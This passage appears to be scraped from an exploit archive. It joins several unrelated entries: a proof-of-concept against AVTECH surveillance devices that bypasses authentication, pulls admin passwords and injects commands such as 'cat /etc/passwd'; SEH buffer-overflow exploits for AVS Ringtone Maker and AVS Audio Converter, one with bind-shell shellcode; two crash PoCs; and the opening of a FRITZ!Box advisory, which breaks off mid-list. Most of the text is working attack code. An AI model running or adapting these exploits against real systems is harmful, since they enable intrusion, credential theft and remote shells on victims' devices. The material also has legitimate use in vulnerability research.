we found and the overall code quality, the devices should contain much
more problems.

Credits
-------
This vulnerability was discovered and researched by Gergely Eberhardt
(@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)

References
----------
[1]
https://www.search-lab.hu/advisories/126-avtech-devices-multiple-vulnerabilities
<http://www.search-lab.hu/advisories/126-avtech-devices-multiple-vulnerabilities>
[2] https://youtu.be/BUx8nLlIMxI
[3] https://github.com/ebux/AVTECH
[4] http://www.search-lab.hu/media/vulnerability_matrix.txt
'''

#
# POC code for Technicolor Avtech devices
#
# Demonstrates the following vulnerabilities
#  - Unauthenticated information leakage (capabilities)
#  - Authentication bypass (.cab, nobody)
#  - Unauthenticated SSRF on DVR devices
#  - Unauthenticated command injection on DVR devices
#  - Login captcha bypass with login=quick or manual cookie creation
#  - CloudSetup.cgi command injection after authentication
#  - adcommand.cgi command injection after authentication
#
# Credit: Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)
#
# Advisory: http://search-lab.hu/...

import sys
import requests
import base64

class avtech:
    AVTECH_BYP_NONE = 0
    AVTECH_BYP_CAB = 1
    AVTECH_BYP_NOBODY = 2

    def __init__(self, addr, port):
        self.addr = addr
        self.port = port
        self.s = requests.Session()
        self.auth = False
        self.authbyp_str = {self.AVTECH_BYP_NONE:'', self.AVTECH_BYP_CAB:'.cab&', self.AVTECH_BYP_NOBODY:'/nobody&'}
        self.authbyp = self.AVTECH_BYP_NONE
        self.username = ''
        self.password = ''

        self.cabbyp = False
        self.nobodybyp = False
        self.firmware_version = ''
        self.product_type = ''
        self.product_id = ''
        self.mac_address = ''

    def getUri(self, uri, param, bypass=False):
        if (bypass):
            return 'http://%s:%d/%s?%s%s'%(self.addr, self.port, uri, self.authbyp_str[self.authbyp], param)
        else:
            return 'http://%s:%d/%s?%s'%(self.addr, self.port, uri, param)

    def setPwd(self, usr, pwd):
        self.username = usr
        self.password = pwd

    # creates a valid cookie without logging in
    def setCookie(self):
        self.s.cookies['SSID'] = base64.b64encode('%s:%s'%(self.username,self.password))
        self.auth = True

    # performs authentication with the provided user name and password using
    # the login=quick parameter, which bypass the captcha verification
    def login(self):
        self.s = requests.Session()
        r = self.s.get(self.getUri('/cgi-bin/nobody/VerifyCode.cgi', 'account=%s&login=quick'%(base64.b64encode('%s:%s'%(self.username,self.password)))))
        res = r.text.split()
        if (int(res[0]) == -35):
            #print 'Authentication failed with %s:%s'%(self.username,self.password)
            return False
        if (int(res[0]) == 0):
            #print 'Authentication succeeded with %s:%s'%(self.username,self.password)
            self.auth = True
            return True
        #else:
        #    print 'Unknown response code: %d'%(int(res[0]))
        return False

    # verifies whether the authentication bypass is working .cab or /nobody problem
    def checkBypass(self):
        if (self.auth):
            return 'Session is already authenticated, you do not have to bypass!'
        ret = ''
        greq = '&action=get&category=Account.*'
        # .cab check
        try:
            r = self.s.get(self.getUri('/cgi-bin/user/Config.cgi','.cab%s'%(greq)))
            if (len(r.text) > 0 and r.text[0] == '0'):
                ret += '.cab authentication bypass was successful, '
                self.authbyp = self.AVTECH_BYP_CAB
                self.cabbyp = True
        except:
            ret += '.cab authentication bypass was not successful, '

        # /nobody check
        try:
            r = self.s.get(self.getUri('/cgi-bin/user/Config.cgi','/nobody%s'%(greq)))
            if (len(r.text) > 0 and r.text[0] == '0'):
                ret += '/nobody authentication bypass was successful'
                self.nobodybyp = True
                if (self.authbyp == self.AVTECH_BYP_NONE):
                    self.authbyp = self.AVTECH_BYP_NOBODY
        except:
            ret += '/nobody authentication bypass was not successful'
        return ret

    # retrieves account information after authentication
    def getAdminPwd(self):
        r = self.s.get(self.getUri('/cgi-bin/user/Config.cgi','action=get&category=Account.*', True))
        for l in r.text.split():
            lp = l.split('=')
            if (len(lp) == 2):
                if (lp[0] == 'Account.User1.Username'):
                    self.username = lp[1]
                elif (lp[0] == 'Account.User1.Password'):
                    self.password = lp[1]
                    break
                if (lp[0] == 'Account.User2.Username'):
                    self.username = lp[1]
                elif (lp[0] == 'Account.User2.Password'):
                    self.password = lp[1]
                    break
                if (lp[0] == 'Account.User3.Username'):
                    self.username = lp[1]
                elif (lp[0] == 'Account.User3.Password'):
                    self.password = lp[1]
                    break

    # retrieves firmware version after authentication
    def getFwVersion(self):
        r = self.s.get(self.getUri('/cgi-bin/user/Config.cgi','action=get&category=Properties.Firmware.*', False))
        print r.text

    # retrieves login response after authentication
    def getLogin(self):
        r = self.s.get(self.getUri('/cgi-bin/guest/Login.cgi','rnd=0.5', False))
        print r.text

    # CloudSetup.cgi command injection test
    def commandInjection(self, cmd):
        try:
            r = self.s.get(self.getUri('/cgi-bin/supervisor/CloudSetup.cgi','exefile=%s'%(cmd), False))
            return r.text
        except:
            print 'CloudSetup.cgi command injection test failed'

    # adcommand.cgi command injection test
    def commandInjection2(self, cmd):
        data = 'DoShellCmd "strCmd=%s&"'%(cmd)
        r = self.s.post(self.getUri('/cgi-bin/supervisor/adcommand.cgi','', False), data=data)
        return r.text

    # parses capability response
    def parseCapability(self, cap):
        for l in cap.split('\n'):
            ld = l.strip().split('=')
            if (len(ld)==2):
                if (ld[0] == 'Firmware.Version'):
                    self.firmware_version = ld[1]
                elif (ld[0] == 'Product.Type'):
                    self.product_type = ld[1]
                elif (ld[0] == 'Product.ID'):
                    self.product_id = ld[1]
                elif (ld[0] == 'MACAddress'):
                    self.mac_address = ld[1]

    # unauthenticated information leakage
    def getCapability(self):
        r = self.s.get(self.getUri('/cgi-bin/nobody/Machine.cgi','action=get_capability', False))
        self.parseCapability(r.text)
        return r.text

    # checks the availability of search.cgi (available only on DVR devices)
    def checkSearch(self):
        try:
            r = self.s.get(self.getUri('/cgi-bin/nobody/Search.cgi','action=scan', False))
            return r.text
        except:
            return ''

    # unauthenticated SSRF using the search.cgi script (available only on DVR devices)
    def checkCgiQuery(self):
        try:
            r = self.s.get(self.getUri('/cgi-bin/nobody/Search.cgi','action=cgi_query&ip=google.com&port=80&queryb64str=Lw==', False))
            if (len(r.text)>=4 and r.text[0:4] == '0\nOK'):
                return True
            else:
                return False
        except:
            return False

    # unauthenticated command injection in the search.cgi script (available only on DVR devices)
    def searchCmdInjection(self, command):
        cmdstr = (' ;%s>$(ps|grep Search.cgi|grep -v grep|head -n 1|awk \'{print "/tmp/"$1".log"}\';)'%(command)).replace(' ', '%20')
        uri = self.getUri('cgi-bin/nobody/Search.cgi','action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%s&password=admin'%(cmdstr),False)
        print uri
        r = self.s.get(uri)
        return r.text

#------------------------------------

if __name__ == '__main__':
    if (len(sys.argv) < 2):
        print 'avtech_nas_pc.py addr [port]'
    addr = sys.argv[1]
    port = 80
    if (len(sys.argv) == 3):
        port = int(sys.argv[2])

    avtech = avtech(addr, port)

    # unatuhenticated information disclosure
    cap = avtech.getCapability()
    print cap
    avtech.parseCapability(cap)
    print '%s,%s,%s,%s'%(avtech.firmware_version, avtech.product_type, avtech.product_id, avtech.mac_address)

    # check unauthenticated SSRF vulnerability
    sr = avtech.checkSearch()
    if (len(sr) > 0 and sr[0] == '0'):
        cgi_query = avtech.checkCgiQuery()
        if (cgi_query):
            print 'SSRF was successful'
        else:
            print 'SSRF was not successful'

        resp = avtech.searchCmdInjection('XmlAp r Account.User1.Username')
        lines = resp.split('\n')
        if (len(lines) >= 3):
            pwd = lines[2].strip()
            print 'User1 name: %s'%(pwd)
            avtech.username = pwd

        resp = avtech.searchCmdInjection('XmlAp r Account.User1.Password')
        lines = resp.split('\n')
        if (len(lines) >= 3):
            pwd = lines[2].strip()
            print 'User1 password: %s'%(pwd)
            avtech.password = pwd

    # authentication bypas
    print 'Authentication bypass check'
    print avtech.checkBypass()
    print 'Try to get admin password'
    print avtech.getAdminPwd()
    default = False
    # try default password
    if (avtech.password == ''):
        avtech.setPwd('admin', 'admin')
        default = True
    # login with credentials using captch bypass
    avtech.login()
    # if captch bypass was not possible, but we have a password, set cookie manually
    if (not avtech.auth and not default and avtech.password != ''):
        avtech.setCookie()

    # check issues after authentication
    if (avtech.auth):
        print 'Get admin password'
        avtech.getAdminPwd()
        print 'Get login'
        avtech.getLogin()
        print 'Get fw version'
        avtech.getFwVersion()
        print 'cloud command injection'
        print avtech.commandInjection('ps')
        print 'adcommand command injection'
        print avtech.commandInjection2('cat /etc/passwd')
HireHackking 
source: https://www.securityfocus.com/bid/47851/info

AVS Ringtone Maker is prone to a remote buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed exploit attempts may result in a denial-of-service condition.

AVS Ringtone Maker 1.6.1 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl
system("cls");
sub logo(){
print q'
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
1                      ______                                          0
0                   .-"      "-.                                       1
1                  / KedAns-Dz  \ =-=-=-=-=-=-=-=-=-=-=-|              0
0 Algerian HaCker |              | > Site : 1337day.com |              1
1 --------------- |,  .-.  .-.  ,| > Twitter : @kedans  |              0
0                 | )(_o/  \o_)( | > ked-h@hotmail.com  |              1
1                 |/     /\     \| =-=-=-=-=-=-=-=-=-=-=|              0
0       (@_       (_     ^^     _)  HaCkerS-StreeT-Team                1
1  _     ) \_______\__|IIIIII|__/_______________________               0
0 (_)@8@8{}<________|-\IIIIII/-|________________________>              1
1        )_/        \          /                                       0
0       (@           `--------` � 2011, Inj3ct0r Team                  1
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-0
0       AVS Ringtone Maker 1.6.1 - SEH Overflow Exploit                1
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-0
';
}
logo();
###
# Title : AVS Ringtone Maker 1.6.1 - SEH Overflow Exploit
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com | ked-h@exploit-id.com
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)
# Web Site : www.1337day.com * www.exploit-id.com * www.09exploit.com
# Twitter page : twitter.com/kedans
# platform : windows
# Tested on : Windows XP sp3 FR 
##
# Drag And Drop This File to edit Window & Start Upload >> Bo0M CalC !
###

my $junk = "\x41" x 4123 ; # Buffer Junk
my $jump = "\xeb\x06\x90\x90"; #  Short Jump
my $eip = pack("V", 0x00401E3C); # EIP
my $seh = pack("V", 0x7C839AC0); # SEH

# windows/exec - 511 bytes ( http://www.metasploit.com)
# Encoder: x86/alpha_mixed
# EXITFUNC=seh, CMD=calc.exe
my $shellcode = "\xe8\x52\xe6\xff\xff\x90\x90".
"\x56\x54\x58\x36\x33\x30\x56\x58\x48\x34\x39\x48\x48\x48" .
"\x50\x68\x59\x41\x41\x51\x68\x5a\x59\x59\x59\x59\x41\x41" .
"\x51\x51\x44\x44\x44\x64\x33\x36\x46\x46\x46\x46\x54\x58" .
"\x56\x6a\x30\x50\x50\x54\x55\x50\x50\x61\x33\x30\x31\x30" .
"\x38\x39\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41" .
"\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42" .
"\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c\x49" .
"\x78\x4d\x59\x47\x70\x43\x30\x43\x30\x43\x50\x4e\x69\x49" .
"\x75\x46\x51\x4b\x62\x42\x44\x4e\x6b\x46\x32\x46\x50\x4c" .
"\x4b\x43\x62\x44\x4c\x4c\x4b\x42\x72\x47\x64\x4e\x6b\x51" .
"\x62\x51\x38\x44\x4f\x4e\x57\x43\x7a\x44\x66\x44\x71\x4b" .
"\x4f\x45\x61\x49\x50\x4c\x6c\x45\x6c\x43\x51\x51\x6c\x46" .
"\x62\x44\x6c\x51\x30\x49\x51\x48\x4f\x44\x4d\x47\x71\x49" .
"\x57\x4a\x42\x4c\x30\x42\x72\x50\x57\x4c\x4b\x51\x42\x44" .
"\x50\x4c\x4b\x51\x52\x45\x6c\x46\x61\x4e\x30\x4c\x4b\x47" .
"\x30\x50\x78\x4d\x55\x49\x50\x42\x54\x43\x7a\x43\x31\x4a" .
"\x70\x42\x70\x4c\x4b\x51\x58\x44\x58\x4e\x6b\x50\x58\x45" .
"\x70\x46\x61\x4e\x33\x48\x63\x45\x6c\x50\x49\x4c\x4b\x44" .
"\x74\x4c\x4b\x46\x61\x49\x46\x46\x51\x4b\x4f\x44\x71\x4f" .
"\x30\x4e\x4c\x49\x51\x48\x4f\x44\x4d\x43\x31\x48\x47\x45" .
"\x68\x49\x70\x42\x55\x49\x64\x43\x33\x51\x6d\x49\x68\x47" .
"\x4b\x43\x4d\x47\x54\x51\x65\x4a\x42\x51\x48\x4c\x4b\x42" .
"\x78\x51\x34\x47\x71\x4b\x63\x50\x66\x4c\x4b\x44\x4c\x50" .
"\x4b\x4c\x4b\x50\x58\x47\x6c\x43\x31\x4a\x73\x4c\x4b\x43" .
"\x34\x4e\x6b\x45\x51\x4a\x70\x4b\x39\x47\x34\x51\x34\x44" .
"\x64\x51\x4b\x43\x6b\x43\x51\x46\x39\x50\x5a\x42\x71\x4b" .
"\x4f\x4b\x50\x51\x48\x43\x6f\x42\x7a\x4e\x6b\x45\x42\x4a" .
"\x4b\x4f\x76\x51\x4d\x50\x6a\x46\x61\x4c\x4d\x4f\x75\x48" .
"\x39\x43\x30\x43\x30\x45\x50\x42\x70\x50\x68\x46\x51\x4e" .
"\x6b\x42\x4f\x4e\x67\x49\x6f\x4a\x75\x4d\x6b\x49\x6e\x44" .
"\x4e\x46\x52\x4a\x4a\x51\x78\x4e\x46\x4a\x35\x4d\x6d\x4f" .
"\x6d\x49\x6f\x4a\x75\x45\x6c\x46\x66\x51\x6c\x44\x4a\x4f" .
"\x70\x49\x6b\x49\x70\x42\x55\x46\x65\x4f\x4b\x50\x47\x45" .
"\x43\x51\x62\x42\x4f\x43\x5a\x43\x30\x42\x73\x49\x6f\x4e" .
"\x35\x42\x43\x45\x31\x50\x6c\x51\x73\x44\x6e\x43\x55\x51" .
"\x68\x50\x65\x47\x70\x41\x41";
my $exploit = $junk.$jump.$eip.$seh.$shellcode;
open (FILE ,'> KedAns.wav');
print FILE $exploit;
HireHackking 
# Exploit Title: AVS Audio Converter 9.1.2.600 - Stack Overflow (PoC)
# Date: December 2019-12-28
# Exploit Author: boku
# Original DoS: https://www.exploit-db.com/exploits/47788
# Original DoS Author: ZwX
# Software Vendor: http://www.avs4you.com/
# Software Link: http://www.avs4you.com/avs-audio-converter.aspx
# Version: 9.1.2.600
# Tested on: Microsoft Windows 10 Home 1909(x86-64) - 10.0.18363 N/A Build 18363
#            Microsoft Windows 7 Enterprise(x86-64) - 6.1.7601 Service Pack 1 Build 7601

#!/usr/bin/python
# Recreate:
#   1) Generate the 'bind9999.txt' payload using python 2.7.x on Kali Linux.
#   2) On the victim Windows machine, open the file 'bind9999.txt' with notepad, then Select-All > Copy.
#   3) Install & Open AVS Audio Converter 9.1.2.600.
#   4) Locate the textbox to the right of 'Output Folder:'; at the bottom of the main window.
#   5) Paste the copied payload from the 'bind9999.txt' file into the textbox.
#   6) Click the 'Browse...' button; to the right of the textbox.
#      - The program will freeze & a bind shell will be listening on tcp port 9999; on all interfaces.
# Special thanks to: The Offsec Team, Corelan Team, Vivek/Pentester Academy Team, Skape
blt = '\033[92m[\033[0m+\033[92m]\033[0m ' # bash green success bullet
err = '\033[91m[\033[0m!\033[91m]\033[0m ' # bash red   error   bullet
File = 'bind9999.txt'
try:
    # 0x00400000 [AVSAudioConverter.exe]
    #   9.1.2.600 (C:\Program Files (x86)\AVS4YOU\AVSAudioConverter\AVSAudioConverter.exe)
    #   - The only module that has SafeSEH disabled.
    #   Base       | Top        | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | 
    #   0x00400000 | 0x00f33000 | False  | False   | False |  False   | False  | 
    #   - Attempting a 3-byte SEH-handler overwrite will fail due to no exception being thrown.
    offEdx  = '\x41'*260
    edx     = '\x42\x42\x42\x42' # EDX overwrite at 260 bytes. EDX=0x42424242
    # SEH-Record overwrite at offset 264; the goal from here is to not throw an exception or we're screwed.
    nSEH    = '\x42'*4
    SEH     = '\x43'*4
    # - If address at offset 308 is not readable, then the program will throw an exception at:
    #   75F9ECE7    3806            cmp byte ptr ds:[esi], al
    #   [!] Access violation when reading [esi] 
    # - If we can get past this exception, we can overwrite EIP at offset 304.
    # - [esi] must be successfully overwriten so we can put our payload after it.
    offEip  = '\x45'*32
    # - AVSAudioEditor5.dll is the only other module with both ASLR & Rebase disabled. 
    # - The enabled SafeSEH blocks us from using it for a SEH overwrite, but we can still jump 
    #    to it with a vanilla EIP overwrite; due to overwriting a return address on the stack.
    # - After bypassing the ESI read exception, our stack will look like this after the EIP overwrite:
    #   ECX=0018FA60  ESP=0018FA60 (Stack locations will vary)
    #        0018FA54   45454545  EEEE // [296]
    #        0018FA58   45454545  EEEE // [300]
    #        0018FA5C   1006563E  V... // [304] eip var # Pointer to 'pop+ret'
    #       *0018FA60   00000000  .... // [308] esi var # our esi address gets replaced by 4 nulls
    #        0018FA64   1006A438  8... // [312] jmpEsp var # Pointer to 'jmp esp'
    #        0018FA68   E510EC10  .... // [316] fixStack var # ASM to fix the Stack so shellcode will work
    # [AVSAudioEditor5.dll] (C:\Program Files (x86)\Common Files\AVSMedia\ActiveX\AVSAudioEditor5.dll) 
    #   Base       | Top        | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | 
    #   0x10000000 | 0x100a1000 | False  | True    | False |  False   | False  | 
    # 0x1006563e : pop esi # ret  | ascii {PAGE_EXECUTE_READ} [AVSAudioEditor5.dll]
    eip      = '\x3e\x56\x06\x10' # pop+ret
    # - After pop+ret, ESP=0018FA68
    esi      = '\x10\x10\x08\x10' # [AVSAudioEditor5.dll] | .data | RW
    #   0x1006a438 : jmp esp |  {PAGE_EXECUTE_READ} [AVSAudioEditor5.dll]
    # - the esi var address is just a random, readable memory location that will not move; to bypass the exception.
    jmpEsp   = '\x38\xa4\x06\x10' # jmp esp pointer
    # EBP is 45454545 at this point. Needs to be fixed for most shellcode payloads to work properly.
    fixStack = '\x83\xEC\x10'     # sub esp, 0x10
    fixStack += '\x89\xE5'        # mov ebp, esp
    fixStack += '\x83\xEC\x60'    # sub esp, 0x60
    #msfvenom -p windows/shell_bind_tcp LPORT=9999 -v shellcode -a x86 --platform windows -b '\x00' --format python
    # x86/shikata_ga_nai succeeded with size 355 (iteration=0)
    shellcode =  b""
    shellcode += b"\xbe\xd8\x49\x8d\x72\xd9\xe5\xd9\x74\x24\xf4"
    shellcode += b"\x5a\x31\xc9\xb1\x53\x31\x72\x12\x83\xea\xfc"
    shellcode += b"\x03\xaa\x47\x6f\x87\xb6\xb0\xed\x68\x46\x41"
    shellcode += b"\x92\xe1\xa3\x70\x92\x96\xa0\x23\x22\xdc\xe4"
    shellcode += b"\xcf\xc9\xb0\x1c\x5b\xbf\x1c\x13\xec\x0a\x7b"
    shellcode += b"\x1a\xed\x27\xbf\x3d\x6d\x3a\xec\x9d\x4c\xf5"
    shellcode += b"\xe1\xdc\x89\xe8\x08\x8c\x42\x66\xbe\x20\xe6"
    shellcode += b"\x32\x03\xcb\xb4\xd3\x03\x28\x0c\xd5\x22\xff"
    shellcode += b"\x06\x8c\xe4\xfe\xcb\xa4\xac\x18\x0f\x80\x67"
    shellcode += b"\x93\xfb\x7e\x76\x75\x32\x7e\xd5\xb8\xfa\x8d"
    shellcode += b"\x27\xfd\x3d\x6e\x52\xf7\x3d\x13\x65\xcc\x3c"
    shellcode += b"\xcf\xe0\xd6\xe7\x84\x53\x32\x19\x48\x05\xb1"
    shellcode += b"\x15\x25\x41\x9d\x39\xb8\x86\x96\x46\x31\x29"
    shellcode += b"\x78\xcf\x01\x0e\x5c\x8b\xd2\x2f\xc5\x71\xb4"
    shellcode += b"\x50\x15\xda\x69\xf5\x5e\xf7\x7e\x84\x3d\x90"
    shellcode += b"\xb3\xa5\xbd\x60\xdc\xbe\xce\x52\x43\x15\x58"
    shellcode += b"\xdf\x0c\xb3\x9f\x20\x27\x03\x0f\xdf\xc8\x74"
    shellcode += b"\x06\x24\x9c\x24\x30\x8d\x9d\xae\xc0\x32\x48"
    shellcode += b"\x5a\xc8\x95\x23\x79\x35\x65\x94\x3d\x95\x0e"
    shellcode += b"\xfe\xb1\xca\x2f\x01\x18\x63\xc7\xfc\xa3\xac"
    shellcode += b"\x17\x88\x42\xd8\x37\xdc\xdd\x74\xfa\x3b\xd6"
    shellcode += b"\xe3\x05\x6e\x4e\x83\x4e\x78\x49\xac\x4e\xae"
    shellcode += b"\xfd\x3a\xc5\xbd\x39\x5b\xda\xeb\x69\x0c\x4d"
    shellcode += b"\x61\xf8\x7f\xef\x76\xd1\x17\x8c\xe5\xbe\xe7"
    shellcode += b"\xdb\x15\x69\xb0\x8c\xe8\x60\x54\x21\x52\xdb"
    shellcode += b"\x4a\xb8\x02\x24\xce\x67\xf7\xab\xcf\xea\x43"
    shellcode += b"\x88\xdf\x32\x4b\x94\x8b\xea\x1a\x42\x65\x4d"
    shellcode += b"\xf5\x24\xdf\x07\xaa\xee\xb7\xde\x80\x30\xc1"
    shellcode += b"\xde\xcc\xc6\x2d\x6e\xb9\x9e\x52\x5f\x2d\x17"
    shellcode += b"\x2b\xbd\xcd\xd8\xe6\x05\xfd\x92\xaa\x2c\x96"
    shellcode += b"\x7a\x3f\x6d\xfb\x7c\xea\xb2\x02\xff\x1e\x4b"
    shellcode += b"\xf1\x1f\x6b\x4e\xbd\xa7\x80\x22\xae\x4d\xa6"
    shellcode += b"\x91\xcf\x47"
    payload  = offEdx+edx+nSEH+SEH+offEip+eip+esi+jmpEsp+fixStack+shellcode
    # offsets: 0      260 264  268 272    304 308 312    316      324
    f       = open(File, 'w') # open file for write
    f.write(payload)
    f.close() # close the file
    print blt + File + " created successfully "
#   root@kali# nc <Victim IP> 9999
#   Microsoft Windows [Version 6.1.7601]
#   C:\Program Files (x86)\AVS4YOU\AVSAudioConverter>
except:
    print err + File + ' failed to create'
HireHackking 
# Exploit Title: AVS Audio Converter 9.1 - 'Exit folder' Buffer Overflow
# Exploit Author : ZwX
# Exploit Date: 2019-12-17
# Vendor Homepage : http://www.avs4you.com/
# Link Software : http://www.avs4you.com/avs-audio-converter.aspx
# Tested on OS: Windows 7

'''
Technical Details & Description:
================================
A local buffer overflow vulnerability has been discovered in tihe official AVS Audio Converter. 
The vulnerability allows local attackers to overwrite the registers (example eip) to compromise the local software process. 
The issue can be exploited by local attackers with system privileges to compromise the affected local computer system. 
The vulnerability is marked as classic buffer overflow issue.


Analyze Registers:
==================
(1e74.1b78): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=42424242 edx=778c6d1d esi=00000000 edi=00000000
eip=42424242 esp=0012f098 ebp=0012f0b8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
42424242 ??              ???
0:000> !exchain
0012f0ac: ntdll!ExecuteHandler2+3a (778c6d1d)
0012fa30: 42424242
Invalid exception stack at 41414141


Note: EIP & ECX  overwritten


Proof of Concept (PoC):
=======================
1.Download and install AVS Audio Converter
2.Open the AVS Audio Converter 
3.Run the python operating script that will create a file (poc.txt)
4.copy and paste the characters found in the file (poc.txt) in the field "Exit folder"
5.Click on browse
6.EIP overwritten
'''

#!/usr/bin/python

buffer = "\x41" * 264
a = "\x42" * 4
b = "\x43" * 1000

poc = buffer + a + b 
file = open("poc.txt","w")
file.write(poc)
file.close()
 
print "POC Created by ZwX"
HireHackking 
# Exploit Title: AVS Audio Converter 10.3 - Stack Overflow (SEH)
# Discovered by: Yehia Elghaly - Mrvar0x
# Discovered Date: 2022-10-16
# Tested Version: 10.3.1.633
# Tested on OS: Windows 7 Professional x86

#pop+ret Address=005154E6
#Message=  0x005154e6 : pop ecx # pop ebp # ret 0x04 | startnull {PAGE_EXECUTE_READ} [AVSAudioConverter.exe] 
#ASLR: False, Rebase: False, SafeSEH: False, OS: False, v10.3.1.633 (C:\Program Files\AVS4YOU\AVSAudioConverter\AVSAudioConverter.exe)

# The only module that has SafeSEH disabled.
# Base       | Top        | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | 
# 0x00400000 | 0x01003000 | False  | False   | False |  False   | False  |

#Allocating 4-bytes for nSEH which should be placed directly before SEH which also takes up 4-bytes.

#Buffer  = '\x41'* 260
#nSEH    = '\x42'*4
#SEH     = '\x43'*4
#ESI     = 'D*44' # ESI Overwrite 

#buffer = "A"*260 + [nSEH] + [SEH] + "D"*44
#buffer = "A"*260 + "B"*4 + "\xE6\x54\x51\x05" + "D"*44


# Rexploit:
# Generate the 'evil.txt' payload using python 2.7.x on Linux.
# Open the file 'evil.txt' Copy.
# Paste at'Output Folder and click 'Browse'.

#!/usr/bin/python -w
  
filename="evil.txt"
 
buffer = "A"*260 + "B"*4 + "C"*4 + "D"*44
  
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
HireHackking 
Advisory: AVM FRITZ!Box: Remote Code Execution via Buffer Overflow

RedTeam Pentesting discovered that several models of the AVM FRITZ!Box
are vulnerable to a stack-based buffer overflow, which allows attackers
to execute arbitrary code on the device.


Details
=======

Product: AVM FRITZ!Box 3272/7272, 3370/3390/3490, 7312/7412,
                       7320/7330 (SL), 736x (SL) and 7490
Affected Versions: versions prior to 6.30 (all models) [0]
Fixed Versions: >= 6.30 (all models) [0]
Vulnerability Type: Buffer Overflow
Security Risk: high
Vendor URL: http://avm.de/
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-001
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

FRITZ!Box is the brand name of SOHO routers/CPEs manufactured by AVM
GmbH. The FRITZ!Box usually combines features such as an xDSL modem, a
wifi access point, routing, VoIP, NAS and DECT.


More Details
============

When examining the running processes on a FRITZ!Box, it was discovered
that the program dsl_control listens on TCP port 8080:

# netstat -anp | grep dsl_control
tcp   0   0 0.0.0.0:8080   0.0.0.0:*   LISTEN   849/dsl_control

By sending an HTTP request to the service, it can be seen in the
server's response that the daemon expects SOAP messages (output
shortened):

$ curl --silent http://fritz.box:8080/ | xmllint -format -
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope [...]>
  <SOAP-ENV:Body>
    <SOAP-ENV:Fault SOAP-ENV:encodingStyle="[...]">
      <faultcode>SOAP-ENV:Client</faultcode>
      <faultstring>HTTP GET method not implemented</faultstring>
    </SOAP-ENV:Fault>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

After examining the dsl_control binary by using GNU strings and
performing a web search for some of the resulting values, it was quickly
discovered that parts of the daemon's source code can be found in the
Git repository of the dd-wrt firmware[1].

In order to retrieve the list of all commands that are implemented by
the daemon, the following SOAP message can be sent to the server,
specifying an ifx:DslCpeCliAccess element containing an empty command
element (output shortened):

$ curl --silent http://fritz.box:8080/ --data '
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/[...]"
 xmlns:ifx="urn:dsl_api">
  <SOAP-ENV:Body>
      <ifx:DslCpeCliAccess>
          <command></command>
      </ifx:DslCpeCliAccess>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>' | xmllint -format -
<?xml version="1.0" encoding="UTF-8"?>
[...]
    <ifx:DslCpeCliAccessResponse>
      <result>avmcr, avmcrmr, avmcrms, avmcw, avmdsmmcs, avmhwrfit,
avmpet, avmvig, acog, acos, acs, alf, asecg, asecs, asg, aufg, alig,
bbsg, bpstg, bpsg, ccadbgmlg, ccadbgmls, dbgmlg, dbgmls, dsmcg, dsmcs,
dsmmcg, dsmmcs, dsmstatg, dsmsg, dsnrg, dmms, dms, esmcg, esmcs, fddg,
fdsg, fpsg, g997amdpfcg, g997amdpfcs, g997amlfcg, g997amlfcs, g997bang,
g997bansg, g997cdrtcg, g997cdrtcs, g997csg, g997dpfsg, g997dfr,
g997dhling, g997dhlinsg, g997dhlogg, g997dqlng, g997dsnrg, g997fpsg,
g997gang, g997gansg, g997lstg, g997lacg, g997lacs, g997lfsg, g997lisg,
g997lig, g997listrg, g997lis, g997lsg, g997lspbg, g997ltsg, g997lpmcg,
g997lpmcs, g997pmsft, g997pmsg, g997racg, g997racs, g997sang, g997sansg,
g997upbosg, g997xtusecg, g997xtusecs, g997xtusesg, help, hsdg, ics, isg,
lecg, lfcg, lfcs, lfsg, locg, locs, lsg, llsg, llcg, llcs, mlsg, nsecg,
nsecs, osg, pm15meet, pmbms, pmcc15mg, pmcc1dg, pmccsg, pmcctg,
pmchs15mg, pmchs1dg, pmct15mg, pmct15ms, pmct1dg, pmct1ds, pmcg, pmcs,
pmdpc15mg, pmdpc1dg, pmdpcsg, pmdpctg, pmdpfc15mg, pmdpfc1dg, pmdpfcsg,
pmdpfctg, pmdpfhs15mg, pmdpfhs1dg, pmdphs15mg, pmdphs1dg, pmdpt15mg,
pmdpt15ms, pmdpt1dg, pmdpt1ds, pmetr, pmlesc15mg, pmlesc1dg, pmlescsg,
pmlesctg, pmleshs15mg, pmleshs1dg, pmlic15mg, pmlic1dg, pmlicsg,
pmlictg, pmlihs15mg, pmlihs1dg, pmlit15mg, pmlit15ms, pmlit1dg,
